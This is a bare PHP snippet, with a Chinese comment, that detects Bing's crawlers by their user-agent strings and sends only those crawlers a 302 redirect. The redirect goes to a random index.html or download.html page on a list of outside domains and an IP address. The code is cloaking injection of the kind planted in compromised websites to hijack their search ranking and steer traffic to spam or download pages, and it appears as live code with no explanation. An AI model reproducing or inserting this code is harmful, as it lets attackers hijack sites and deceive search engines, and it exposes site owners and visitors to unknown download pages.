if (!headers_sent() && isset($_SERVER['HTTP_USER_AGENT'])) { $ua = strtolower($_SERVER['HTTP_USER_AGENT']); // Bing 蜘蛛(匹配多个 UA 关键字)才随机跳转 $bingUaKeywords = [ 'bingbot', 'bingpreview', 'msnbot', ]; $isBing = false; foreach ($bingUaKeywords as $kw) { if (strpos($ua, $kw) !== false) { $isBing = true; break; } } if ($isBing) { $domains = [ '','yingchao-sp.com','www.yingchao-sp.com','jiadan-wx.com','www.jiadan-wx.com', 'jundaoseo8.com','www.jundaoseo8.com','47.242.93.13','4466.one','sougoupc10.com.cn', 'xxmhz.org','xxmhw.org', ]; $targets = []; foreach ($domains as $d) { $targets[] = "https://{$d}/index.html"; $targets[] = "https://{$d}/download.html"; } $target = $targets[array_rand($targets)]; header('Location: ' . $target, true, 302); exit; } }